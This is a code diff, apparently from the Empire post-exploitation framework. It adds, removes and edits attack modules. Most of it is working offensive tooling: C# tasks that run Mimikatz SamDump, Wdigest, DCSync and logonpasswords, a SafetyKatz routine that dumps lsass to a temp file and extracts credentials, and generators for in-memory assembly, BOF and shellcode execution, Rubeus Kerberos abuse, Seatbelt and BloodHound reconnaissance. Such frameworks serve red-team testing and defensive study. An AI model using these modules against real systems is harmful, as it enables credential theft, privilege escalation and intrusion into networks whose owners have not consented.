DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: - - Name: SharpSploit.Resources.powerkatz_x86.dll - Location: SharpSploit.Resources.powerkatz_x86.dll - - Name: SharpSploit.Resources.powerkatz_x64.dll - Location: SharpSploit.Resources.powerkatz_x64.dll -- Name: SamDump - Aliases: [] - Description: Execute the 'privilege::debug lsadump::sam' Mimikatz command. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using SharpSploit.Credentials; - - public static class Task - { - public static string Execute() - { - try - { - return Mimikatz.SamDump(); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: [] - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: - - Name: SharpSploit.Resources.powerkatz_x86.dll - Location: SharpSploit.Resources.powerkatz_x86.dll - - Name: SharpSploit.Resources.powerkatz_x64.dll - Location: SharpSploit.Resources.powerkatz_x64.dll -- Name: Wdigest - Aliases: [] - Description: Execute the 'sekurlsa::wdigest' Mimikatz command. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using SharpSploit.Credentials; - - public static class Task - { - public static string Execute() - { - try - { - return Mimikatz.Wdigest(); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: [] - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: - - Name: SharpSploit.Resources.powerkatz_x86.dll - Location: SharpSploit.Resources.powerkatz_x86.dll - - Name: SharpSploit.Resources.powerkatz_x64.dll - Location: SharpSploit.Resources.powerkatz_x64.dll -- Name: DCSync - Aliases: [] - Description: Execute the 'lsadump::dcsync Mimikatz command. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using SharpSploit.Credentials; - - public static class Task - { - public static string Execute(string Username, string FQDN = "", string DC = "") - { - try - { - return Mimikatz.DCSync(Username, FQDN, DC); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: Username - Value: '' - DefaultValue: '' - Description: '' - SuggestedValues: [] - Optional: false - DisplayInCommand: true - FileOption: false - - Name: FQDN - Value: '' - DefaultValue: '' - Description: '' - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - - Name: DC - Value: '' - DefaultValue: '' - Description: '' - SuggestedValues: [] - Optional: true - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: - - Name: SharpSploit.Resources.powerkatz_x86.dll - Location: SharpSploit.Resources.powerkatz_x86.dll - - Name: SharpSploit.Resources.powerkatz_x64.dll - Location: SharpSploit.Resources.powerkatz_x64.dll -- Name: Mimikatz - Aliases: [] - Description: Execute a mimikatz command. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using SharpSploit.Credentials; - - public static class Task - { - public static string Execute(string Command) - { - try - { - return Mimikatz.Command(Command); - } - catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: - - Name: Command - Value: sekurlsa::logonPasswords - DefaultValue: '' - Description: Mimikatz command to execute. - SuggestedValues: - - sekurlsa::logonpasswords - - privilege::debug sekurlsa::logonpasswords - - lsadump::sam - - token::elevate lsadump::sam - - lsadump::secrets - - token::elevate lsadump::secrets - Optional: false - DisplayInCommand: true - FileOption: false - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: - - Name: SharpSploit.Resources.powerkatz_x86.dll - Location: SharpSploit.Resources.powerkatz_x86.dll - - Name: SharpSploit.Resources.powerkatz_x64.dll - Location: SharpSploit.Resources.powerkatz_x64.dll -- Name: SafetyKatz - Aliases: [] - Description: Use SafetyKatz. - Author: - Name: Ryan Cobb - Handle: cobbr_io - Link: https://twitter.com/cobbr_io - Help: - Language: CSharp - CompatibleDotNetVersions: - - Net35 - - Net40 - Code: | - using System; - using System.IO; - - using SharpSploit.Enumeration; - using SharpSploit.Credentials; - - public static class Task - { - public static string Execute() - { - string output = ""; - try - { - Random random = new Random(); - string path = "C:\\WINDOWS\\Temp"; - string file = "debug" + random.Next(999, 9999).ToString() + ".bin"; - string fullpath = path + "\\" + file; - Host.CreateProcessDump("lsass", path, file); - output += Mimikatz.Command("\"sekurlsa::minidump " + fullpath + "\" \"privilege::debug\" \"sekurlsa::logonpasswords full\" \"sekurlsa::ekeys\" \"exit\""); - File.Delete(fullpath); - } - catch (Exception e) { output += e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } - return output; - } - } - TaskingType: Assembly - UnsafeCompile: false - TokenTask: false - Options: [] - ReferenceSourceLibraries: - - Name: SharpSploit - Description: SharpSploit is a library for C# post-exploitation modules. - Location: SharpSploit\SharpSploit\ - Language: CSharp - CompatibleDotNetVersions: *o0 - ReferenceAssemblies: - - Name: System.Management.Automation.dll - Location: net35\System.Management.Automation.dll - DotNetVersion: Net35 - - Name: System.Management.dll - Location: net40\System.Management.dll - DotNetVersion: Net40 - - Name: System.Management.Automation.dll - Location: net40\System.Management.Automation.dll - DotNetVersion: Net40 - - Name: System.IdentityModel.dll - Location: net40\System.IdentityModel.dll - DotNetVersion: Net40 - - Name: System.dll - Location: net40\System.dll - DotNetVersion: Net40 - - Name: System.DirectoryServices.dll - Location: net40\System.DirectoryServices.dll - DotNetVersion: Net40 - - Name: System.Core.dll - Location: net40\System.Core.dll - DotNetVersion: Net40 - - Name: mscorlib.dll - Location: net40\mscorlib.dll - DotNetVersion: Net40 - - Name: System.Management.dll - Location: net35\System.Management.dll - DotNetVersion: Net35 - - Name: mscorlib.dll - Location: net35\mscorlib.dll - DotNetVersion: Net35 - - Name: System.Core.dll - Location: net35\System.Core.dll - DotNetVersion: Net35 - - Name: System.DirectoryServices.dll - Location: net35\System.DirectoryServices.dll - DotNetVersion: Net35 - - Name: System.dll - Location: net35\System.dll - DotNetVersion: Net35 - - Name: System.IdentityModel.dll - Location: net35\System.IdentityModel.dll - DotNetVersion: Net35 - EmbeddedResources: [] - ReferenceAssemblies: [] - EmbeddedResources: - - Name: SharpSploit.Resources.powerkatz_x86.dll - Location: SharpSploit.Resources.powerkatz_x86.dll - - Name: SharpSploit.Resources.powerkatz_x64.dll - Location: SharpSploit.Resources.powerkatz_x64.dll \ No newline at end of file + EmbeddedResources: [] \ No newline at end of file diff --git a/empire/server/modules/powershell/code_execution/invoke_assembly.py b/empire/server/modules/powershell/code_execution/invoke_assembly.py deleted file mode 100644 index 68de3ec9c..000000000 --- a/empire/server/modules/powershell/code_execution/invoke_assembly.py +++ /dev/null @@ -1,79 +0,0 @@ -from __future__ import print_function - -from builtins import object, str -from typing import Dict - -from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message - - -class Module(object): - @staticmethod - def generate( - main_menu, - module: EmpireModule, - params: Dict, - obfuscate: bool = False, - obfuscation_command: str = "", - ): - # Helper function for arguments - def parse_assembly_args(args): - stringlist = [] - stringbuilder = "" - inside_quotes = False - - if not args: - return '""' - for ch in args: - if ch == " " and not inside_quotes: - stringlist.append(stringbuilder) # Add finished string to the list - stringbuilder = "" # Reset the string - elif ch == '"': - inside_quotes = not inside_quotes - else: # Ch is a normal character - stringbuilder += ch # Add next ch to string - - # Finally... - stringlist.append(stringbuilder) - for arg in stringlist: - if arg == "": - stringlist.remove(arg) - - argument_string = '","'.join(stringlist) - # Replace backslashes with a literal backslash so an operator can type a file path like C:\windows\system32 instead of C:\\windows\\system32 - argument_string = argument_string.replace("\\", "\\\\") - return f'"{argument_string}"' - - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - - try: - encode_assembly = params["File"].get_base64_file() - except Exception: - return handle_error_message( - "[!] Could not read .NET assembly path at: " + str(params["Arguments"]) - ) - - # Do some parsing on the operator's arguments so it can be formatted for Powershell - if params["Arguments"] != "": - assembly_args = parse_assembly_args(params["Arguments"]) - - script_end = f'\nInvoke-Assembly -ASMdata "{encode_assembly}"' - # Add any arguments to the end execution of the script - if params["Arguments"] != "": - script_end += " -" + "Arguments" + " " + assembly_args - - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script diff --git a/empire/server/modules/powershell/code_execution/invoke_assembly.yaml b/empire/server/modules/powershell/code_execution/invoke_assembly.yaml deleted file mode 100644 index 4f0fb513f..000000000 --- a/empire/server/modules/powershell/code_execution/invoke_assembly.yaml +++ /dev/null @@ -1,37 +0,0 @@ -name: Invoke-Assembly -authors: - - name: '' - handle: '@kevin' - link: '' -description: Loads the specified assembly into memory and invokes the main method. The Main method and class containing Main - must both be PUBLIC for Invoke-Assembly to execute it -software: '' -tactics: [] -techniques: - - T1059 -background: true -output_extension: -needs_admin: false -opsec_safe: true -language: powershell -min_language_version: '2' -comments: - - Assemblies are loaded with reflection into the current process. This method is - - different than Cobalt Strike's execute-assembly as it does not create a new process - - or inject any code via WriteProcessMemory -options: - - name: Agent - description: Agent to run module on. - required: true - value: '' - - name: File - description: Filename in '/empire/server/downloads' to load and execute. supported. - required: true - type: file - - name: Arguments - description: Any arguments to be passed to the assembly - required: false - value: '' -script_path: code_execution/Invoke-Assembly.ps1 -advanced: - custom_generate: true diff --git a/empire/server/modules/powershell/code_execution/invoke_bof.py b/empire/server/modules/powershell/code_execution/invoke_bof.py deleted file mode 100644 index 5625c5ac3..000000000 --- a/empire/server/modules/powershell/code_execution/invoke_bof.py +++ /dev/null @@ -1,45 +0,0 @@ -from __future__ import print_function - -from builtins import object, str -from typing import Dict - -from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message - - -class Module(object): - @staticmethod - def generate( - main_menu, - module: EmpireModule, - params: Dict, - obfuscate: bool = False, - obfuscation_command: str = "", - ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - - bof_data = params["File"].get_base64_file() - - script_end = f"$bofbytes = [System.Convert]::FromBase64String('{ bof_data }');" - script_end += ( - f"\nInvoke-Bof -BOFBytes $bofbytes -EntryPoint { params['EntryPoint'] }" - ) - - if params["ArgumentList"] != "": - script_end += f" -ArgumentList { params['ArgumentList'] }" - - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script diff --git a/empire/server/modules/powershell/code_execution/invoke_bof.yaml b/empire/server/modules/powershell/code_execution/invoke_bof.yaml deleted file mode 100644 index 0291fb0cd..000000000 --- a/empire/server/modules/powershell/code_execution/invoke_bof.yaml +++ /dev/null @@ -1,50 +0,0 @@ -name: Invoke-BOF -authors: - - name: Anthony Rose - handle: '@Cx01N' - link: https://twitter.com/Cx01N_ -description: | - This script will load the BOF file (aka COFF file) into memory, map all sections, - perform relocation, serialize beacon parameters, and jump into the entry point - selected by the user. -software: S0154 -tactics: [] -techniques: - - T1055 -background: true -output_extension: -needs_admin: false -opsec_safe: true -language: powershell -min_language_version: '2' -comments: - - https://github.com/airbus-cert/Invoke-Bof - - https://github.com/BC-SECURITY/Invoke-Bof -options: - - name: Agent - description: Agent to run module on. - required: true - value: '' - - name: File - description: Beacon object file to load and execute. - required: true - type: file - - name: EntryPoint - description: Name of the function exported to execute in the beacon object file. - required: true - value: go - - name: ArgumentList - description: List of arguments that will be passed to the beacon, available through BeaconParse API. - required: false - value: '' - - name: UnicodeStringParameter - description: All string parameter in ArgumentList will be converted into Unicode. - required: false - value: 'False' - suggested_values: - - 'True' - - 'False' - strict: true -script_path: code_execution/Invoke-Bof.ps1 -advanced: - custom_generate: true diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py index 213fd6e15..fac88d6cd 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py @@ -1,10 +1,9 @@ from __future__ import print_function +import base64 from builtins import object, str -from pathlib import Path from typing import Dict -from empire.server.core.config import empire_config from empire.server.core.module_models import EmpireModule @@ -34,10 +33,8 @@ def generate( sc = ",0".join(values.split("\\"))[0:] script_end += " -" + str(option) + " @(" + sc + ")" elif option.lower() == "file": - location = Path(empire_config.directories.downloads) / values - with open(location, "rb") as f: - byte_array = bytearray(f.read()) - sc = ",".join([f"0x{byte:02x}" for byte in byte_array]) + data = base64.b64decode(params["File"].get_base64_file()) + sc = ",".join([f"0x{byte:02x}" for byte in data]) script_end += f" -shellcode @({sc[:-1]})" else: script_end += " -" + str(option) + " " + str(values) diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml b/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml index 750b07194..d79fa4db4 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.yaml @@ -37,6 +37,7 @@ options: description: Binary filename in '/empire/server/downloads' to load and execute. required: false value: '' + type: file script_path: code_execution/Invoke-Shellcode.ps1 advanced: custom_generate: true diff --git a/empire/server/modules/powershell/credentials/rubeus.yaml b/empire/server/modules/powershell/credentials/rubeus.yaml deleted file mode 100644 index 7a62dc89f..000000000 --- a/empire/server/modules/powershell/credentials/rubeus.yaml +++ /dev/null @@ -1,42 +0,0 @@ -name: Invoke-Rubeus -authors: - - name: Will Schroeder - handle: '@harmj0y' - link: https://twitter.com/harmj0y - - name: '' - handle: '@S3cur3Th1sSh1t' - link: https://twitter.com/ShitSecure -description: | - Rubeus is a C# toolset for raw Kerberos interaction and abuses. - It is heavily adapted from Benjamin Delpy's Kekeo project (CC BY-NC-SA 4.0 license) - and Vincent LE TOUX's MakeMeEnterpriseAdmin project (GPL v3.0 license). Full credit goes - to Benjamin and Vincent for working out the hard components of weaponization- without - their prior work this project would not exist. -software: -tactics: [] -techniques: - - T1208 - - T1097 -background: false -output_extension: -needs_admin: false -opsec_safe: true -language: powershell -min_language_version: '2' -comments: - - https://github.com/GhostPack/Rubeus - - https://github.com/S3cur3Th1sSh1t/PowerSharpPack -options: - - name: Agent - description: Agent to run module on. - required: true - value: '' - - name: Command - description: Use available Rubeus commands as a one-liner. - required: false - value: help -script_path: credentials/Invoke-Rubeus.ps1 -script_end: Invoke-Rubeus -Command "{{ PARAMS }}" -advanced: - option_format_string: '{{ VALUE }}' - option_format_string_boolean: '' diff --git a/empire/server/modules/powershell/situational_awareness/host/seatbelt.py b/empire/server/modules/powershell/situational_awareness/host/seatbelt.py deleted file mode 100644 index 03de4fa55..000000000 --- a/empire/server/modules/powershell/situational_awareness/host/seatbelt.py +++ /dev/null @@ -1,56 +0,0 @@ -from __future__ import print_function - -from builtins import object, str -from typing import Dict - -from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message - - -class Module(object): - @staticmethod - def generate( - main_menu, - module: EmpireModule, - params: Dict, - obfuscate: bool = False, - obfuscation_command: str = "", - ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - - script_end = 'Invoke-Seatbelt -Command "' - - # Add any arguments to the end execution of the script - if params["Command"]: - script_end += " " + str(params["Command"]) - if params["Group"]: - script_end += " -group=" + str(params["Group"]) - if params["Computername"]: - script_end += " -computername=" + str(params["Computername"]) - if params["Username"]: - script_end += " -username=" + str(params["Username"]) - if params["Password"]: - script_end += " -password=" + str(params["Password"]) - if params["Full"].lower() == "true": - script_end += " -full" - if params["Quiet"].lower() == "true": - script_end += " -q" - - script_end = script_end.replace('" ', '"') - script_end += '"' - - script = main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) - return script diff --git a/empire/server/modules/powershell/situational_awareness/host/seatbelt.yaml b/empire/server/modules/powershell/situational_awareness/host/seatbelt.yaml deleted file mode 100644 index 02226bc36..000000000 --- a/empire/server/modules/powershell/situational_awareness/host/seatbelt.yaml +++ /dev/null @@ -1,158 +0,0 @@ -name: Invoke-Seatbelt -authors: - - name: Will Schroeder - handle: '@harmj0y' - link: https://twitter.com/harmj0y - - name: '' - handle: '@S3cur3Th1sSh1t' - link: https://twitter.com/ShitSecure -description: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from - both offensive and defensive security perspectives. -software: '' -tactics: [] -techniques: - - T1082 -background: false -output_extension: -needs_admin: false -opsec_safe: true -language: powershell -min_language_version: '4' -comments: - - https://github.com/GhostPack/Seatbelt -options: - - name: Agent - description: Agent to run on. - required: true - value: '' - - name: Command - description: 'Use available Seatbelt commands (AntiVirus, PowerShellEvents, UAC, etc). ' - required: false - value: '' - suggested_values: - - -group=all - - -group=user - - -group=system - - -group=slack - - -group=chrome - - -group=remote - - -group=misc - - AMSIProviders - - AntiVirus - - AppLocker - - ARPTable - - AuditPolicies - - AuditPolicyRegistry - - AutoRuns - - ChromeBookmarks - - ChromeHistory - - ChromePresence - - CloudCredentials - - CredEnum - - CredGuard - - dir - - DNSCache - - DotNet - - DpapiMasterKeys - - EnvironmentPath - - EnvironmentVariables - - ExplicitLogonEvents - - ExplorerMRUs - - ExplorerRunCommands - - FileInfo - - FirefoxHistory - - FirefoxPresence - - IdleTime - - IEFavorites - - IETabs - - IEUrls - - InstalledProducts - - InterestingFiles - - InterestingProcesses - - InternetSettings - - LAPS - - LastShutdown - - LocalGPOs - - LocalGroups - - LocalUsers - - LogonEvents - - LogonSessions - - LSASettings - - MappedDrives - - NamedPipes - - NetworkProfiles - - NetworkShares - - NTLMSettings - - OfficeMRUs - - OSInfo - - OutlookDownloads - - PoweredOnEvents - - PowerShell - - PowerShellEvents - - Printers - - ProcessCreationEvents - - Processes - - ProcessOwners - - PSSessionSettings - - PuttyHostKeys - - PuttySessions - - RDCManFiles - - RDPSavedConnections - - RDPSessions - - RecycleBin - - reg - - RPCMappedEndpoints - - SCCM - - ScheduledTasks - - SearchIndex - - SecurityPackages - - Services - - SlackDownloads - - SlackPresence - - SlackWorkspaces - - Sysmon - - SysmonEvents - - TcpConnections - - TokenGroups - - TokenPrivileges - - UAC - - UdpConnections - - UserRightAssignments - - WindowsAutoLogon - - WindowsCredentialFiles - - WindowsDefender - - WindowsEventForwarding - - WindowsFirewall - - WindowsVault - - WMIEventConsumer - - WMIEventFilter - - WMIFilterBinding - - WSUS - - name: Group - description: Runs a predefined group of commands (All, User, System, Slack, Chrome, Remote, Misc) - required: false - value: all - - name: Computername - description: Remote system to run enumeration against. This is performed over WMI via queriesfor WMI classes and WMI StdRegProv - for registry enumeration. - required: false - value: '' - - name: Username - description: Alternate username for remote enumeration. - required: false - value: '' - - name: Password - description: Alternate password for remote enumeration. - required: false - value: '' - - name: Full - description: Display all results. - required: false - value: 'True' - - name: Quiet - description: Runs in Quiet Mode. - required: false - value: 'False' -script_path: situational_awareness/host/Invoke-Seatbelt.ps1 -advanced: - custom_generate: true diff --git a/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml b/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml deleted file mode 100644 index fbe0a08e1..000000000 --- a/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml +++ /dev/null @@ -1,92 +0,0 @@ -name: Invoke-BloodHound -authors: - - name: Will Schroeder - handle: '@harmj0y' - link: https://twitter.com/harmj0y - - name: Andy Robbins - handle: '@_wald0' - link: https://twitter.com/_wald0 - - name: Rohan Vazarkar - handle: '@cptjesus' - link: https://twitter.com/cptjesus -description: Execute BloodHound data collection. -software: '' -tactics: [] -techniques: - - T1484 -background: true -output_extension: -needs_admin: false -opsec_safe: false -language: powershell -min_language_version: '2' -comments: - - https://bit.ly/getbloodhound -options: - - name: Agent - description: Agent to run module on. - required: true - value: '' - - name: ComputerName - description: Array of one or more computers to enumerate - required: false - value: '' - - name: ComputerADSpath - description: The LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - required: false - value: '' - - name: UserADSPath - description: The LDAP source to search through for users/groups, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - required: false - value: '' - - name: Domain - description: The domain to use for the query, defaults to the current domain. - required: false - value: '' - - name: DomainController - description: Domain controller to reflect LDAP queries through. - required: false - value: '' - - name: CollectionMethod - description: The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', - 'Trusts, 'Stealth', or 'Default'. - required: true - value: Default - - name: SearchForest - description: Switch. Search all domains in the forest. - required: false - value: '' - - name: CSVFolder - description: The CSV folder to use for output, defaults to the current folder location. - required: false - value: $(Get-Location) - - name: CSVPrefix - description: A prefix for all CSV files. - required: false - value: '' - - name: URI - description: The BloodHound neo4j URL location (http://host:port/) - required: false - value: '' - - name: UserPass - description: The "user:password" for the BloodHound neo4j instance - required: false - value: '' - - name: GlobalCatalog - description: The global catalog location to resolve user memberships from. - required: false - value: '' - - name: SkipGCDeconfliction - description: Switch. Skip global catalog enumeration for session deconfliction - required: false - value: '' - - name: Threads - description: The maximum concurrent threads to execute. - required: true - value: '20' - - name: Throttle - description: The number of cypher queries to queue up for neo4j RESTful API ingestion. - required: true - value: '1000' -script_path: situational_awareness/network/BloodHound.ps1 -script_end: Invoke-BloodHound {{ PARAMS }} | Out-String | %{$_ + "`n"};"`n Invoke-BloodHound completed!" diff --git a/empire/test/test_agent_task_api.py b/empire/test/test_agent_task_api.py index 6c936601c..4f1505254 100644 --- a/empire/test/test_agent_task_api.py +++ b/empire/test/test_agent_task_api.py @@ -319,12 +319,9 @@ def test_create_task_module_with_file_option_not_found( f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={ - "module_id": "powershell_code_execution_invoke_bof", + "module_id": "powershell_code_execution_invoke_shellcode", "options": { "File": "999", - "EntryPoint": "go", - "ArgumentList": "", - "UnicodeStringParameter": "False", }, }, ) @@ -340,12 +337,9 @@ def test_create_task_module_with_file_option( f"/api/v2/agents/{agent}/tasks/module", headers=admin_auth_header, json={ - "module_id": "powershell_code_execution_invoke_bof", + "module_id": "powershell_code_execution_invoke_shellcode", "options": { "File": bof_download["id"], - "EntryPoint": "go", - "ArgumentList": "", - 